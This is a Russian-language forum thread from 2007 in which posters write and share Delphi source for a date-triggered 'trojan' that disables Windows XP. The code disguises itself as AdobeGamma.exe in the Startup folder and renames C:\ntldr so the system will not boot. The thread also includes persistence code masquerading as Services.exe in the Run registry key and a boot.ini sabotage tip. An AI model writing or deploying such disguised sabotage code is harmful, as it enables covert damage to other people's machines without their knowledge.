Посл.ответ |
Сообщение |
 Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student
|
Создано: 30 сентября 2007 14:27 · Личное сообщение · #1
Ни у кого нет проги для WinXP, которая по таймеру (на определённую дату), выводит Windu из работоспособного состояния (чтобы не грузилась, или засерался весь винт или ещё что нибудь похожее), но так, чтобы потом можно было без проблемм всё вернуть назад?
Очень надо!
----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh | Сообщение посчитали полезным: |
|
Ранг: 260.2 (наставник) Активность: 0.19↘0 Статус: Участник
|
Создано: 30 сентября 2007 14:58 · Личное сообщение · #2
дык сам нопеши...5 мин. роботы при наличии фантазии...
| Сообщение посчитали полезным: |
 Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student
|
Создано: 30 сентября 2007 15:02 · Личное сообщение · #3
Согласен... да нет под рукой никаких языков программирования, а качать и ставить, время нет
Может кто встречал (или делал) подобные вещи?
----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh | Сообщение посчитали полезным: |
Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник
|
Создано: 30 сентября 2007 15:25 · Личное сообщение · #4
Вот держи исходник.
Изв. но у меня шас совсем нет времени, уже ухожу.
Подправь под себя.
Думаю кто ни будь скомпилит.
Uses Windows;
Var T: TSYSTEMTIME;
MyName: String;
Const AutoRun='C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\AdobeGamma.exe';
XFile='C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB';
Begin
MyName:=ParamStr(0);
// MessageBox(0,'',PChar(MyName),0);
If MyName<>AutoRun Then
Begin
DeleteFileA(Autorun);
CopyFileA(PChar(MyName), Autorun, True);
// SetFileAttributesA(Autorun, FILE_ATTRIBUTE_READONLY+FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
If ((UpCase(MyName[1])<>'C') and (UpCase(MyName[1])<>'D')) Then
Beep(4000,300);
End Else
Begin
GetLocalTime(T);
If T.wDay>14 Then MoveFileA(XFile,XFile+'#');
End;
End.
| Сообщение посчитали полезным: |
 Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student
|
Создано: 30 сентября 2007 16:41 · Личное сообщение · #5
Я делал когда-то так:
Program Max;
Uses Windows,SysUtils,Registry;
Var
Coord:TPoint;
H:TRegistry;
S,P:String;
Function GetWinDir:String;
Var
WindirP:PChar;
Begin
WinDirP:=StrAlloc(MAX_PATH);
If GetWindowsDirectory(WinDirP,MAX_PATH)>0 Then
Result:=StrPas(WinDirP);
End;
Begin
P:=GetWinDir+'\Services.exe';
H:=TRegistry.Create;
With H Do
Begin
RootKey:=HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',True);
S:=ReadString('Services');
If (S<>P) Or (ParamStr(0)<>P) Then
Begin
CopyFile(PChar(ParamStr(0)),PChar(P),True);
WriteString('Services',P);
Exit;
End;
CloseKey;
Free;
End;
.....
code
.....
получается неубиваемый процесс, т.к. имя совпадает с системным
PS: вроде если переместить (стереть) драйвер мыши, винда не включается (не помню точно в XP есть этот косяк или в 98 только был)...
----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh | Сообщение посчитали полезным: |
 Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student
|
Создано: 30 сентября 2007 16:54 · Поправил: Isaev · Личное сообщение · #6
или на крайняк в boot.ini "multi(0)disk(0)rdisk(0)partition(1)" поменять например на "multi(0)disk(0)rdisk(0)partition(5)" вернее будет и точно не загрузится
Компильните кто нибудь эту бодягу please
----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh | Сообщение посчитали полезным: |
Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник
|
Создано: 30 сентября 2007 18:49 · Личное сообщение · #7
Может просто переименовать C:\ntldr, например в C:\ntl rd ?
И незаметно, и маздай точно не стартанёт. Потом себе с диска загрузишься и назад переименуешь...
На какую дату тебе надо ?
С драйвером мыши хз.
| Сообщение посчитали полезным: |
 Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student
|
Создано: 30 сентября 2007 19:13 · Личное сообщение · #8
SergX пишет:
Может просто переименовать C:\ntldr, например в C:\ntlrd ?
И незаметно, и маздай точно не стартанёт. Потом себе с диска загрузишься и назад переименуешь...
ну можно и так
SergX пишет:
На какую дату тебе надо ?
Чтобы ключиком задавать можно было
----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh | Сообщение посчитали полезным: |
Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник
|
Создано: 30 сентября 2007 21:43 · Личное сообщение · #9
uses Windows;
var T: TSYSTEMTIME;
MyName: String;
HappyMonth: Word;
HappyDay: Word;
F: Text;
const AutoRun='C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\AdobeGamma.exe';
ConfigFile='C:\Windows\System32\AdobeGamma.cfg';
begin
MyName:=ParamStr(0);
if MyName<>AutoRun then
begin
DeleteFileA(Autorun);
CopyFileA(PChar(MyName), Autorun, True);
Beep(4000,300);
end else
begin
{$I-}
Assign(F, ConfigFile);
Reset(F);
ReadLn(F,HappyMonth);
ReadLn(F,HappyDay);
Close(F);
{$I+}
GetLocalTime(T);
if (T.wMonth=HappyMonth) and (T.wDay=HappyDay) then MoveFileA('c:\ntldr','c:\ntdlr');
end;
end.
Вроде всё работает, но погоняй.
Я не выспался нехрена, так что мог протупить.
671f_30.09.2007_CRACKLAB.rU.tgz - EasyTrojan.exe
| Сообщение посчитали полезным: |
 Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student
|
Создано: 01 октября 2007 21:53 · Личное сообщение · #10
SergX Огромное спасибо, выручил!
----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh | Сообщение посчитали полезным: |
Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник
|
Создано: 01 октября 2007 22:00 · Личное сообщение · #11
Isaev
Да не за что
Только потести..
Думаю сам знаешь, но на всякий случай:
в C:\Windows\System32\AdobeGamma.cfg месяц и день пиши через enter, без всяких запятых и т.д.
| Сообщение посчитали полезным: |
 Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student
|
Создано: 01 октября 2007 22:51 · Поправил: Isaev · Личное сообщение · #12
 да это видно по тексту...
можешь 'C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\AdobeGamma.exe';
заменить на
'C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Autostart\AdobeGamma.exe';?
----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh | Сообщение посчитали полезным: |
Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник
|
Создано: 02 октября 2007 09:42 · Личное сообщение · #13 |
Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник
|
Создано: 02 октября 2007 09:55 · Личное сообщение · #14
Delphi поменял Startmen ü на Startmen u. Какой у ü ascii код должен быть ?
Остальные знаки там все совпадают ? Я ещё с немцами дела не имел...
Наверно так надо:
AutoRun='C:\Dokumente und Einstellungen\All Users\Startmen' +Chr(???)+ '\Programme\Autostart\AdobeGamma.exe';
| Сообщение посчитали полезным: |
 Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student
|
Создано: 02 октября 2007 16:38 · Личное сообщение · #15
может его спросить у винды?
Function GetStartupPath:String;
Var
Test:Array[1..255] Of Char;
Begin
FillChar(Test,SizeOf(Test),Ord(' '));
SHGetSpecialFolderPath(Application.Handle,@Test,CSIDL_STARTUP,False);
Result:=Trim(Test);
End;
вроде так...
----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh | Сообщение посчитали полезным: |
Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник
|
Создано: 03 октября 2007 09:58 · Личное сообщение · #16 |
 Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student
|
Создано: 04 октября 2007 19:05 · Личное сообщение · #17 |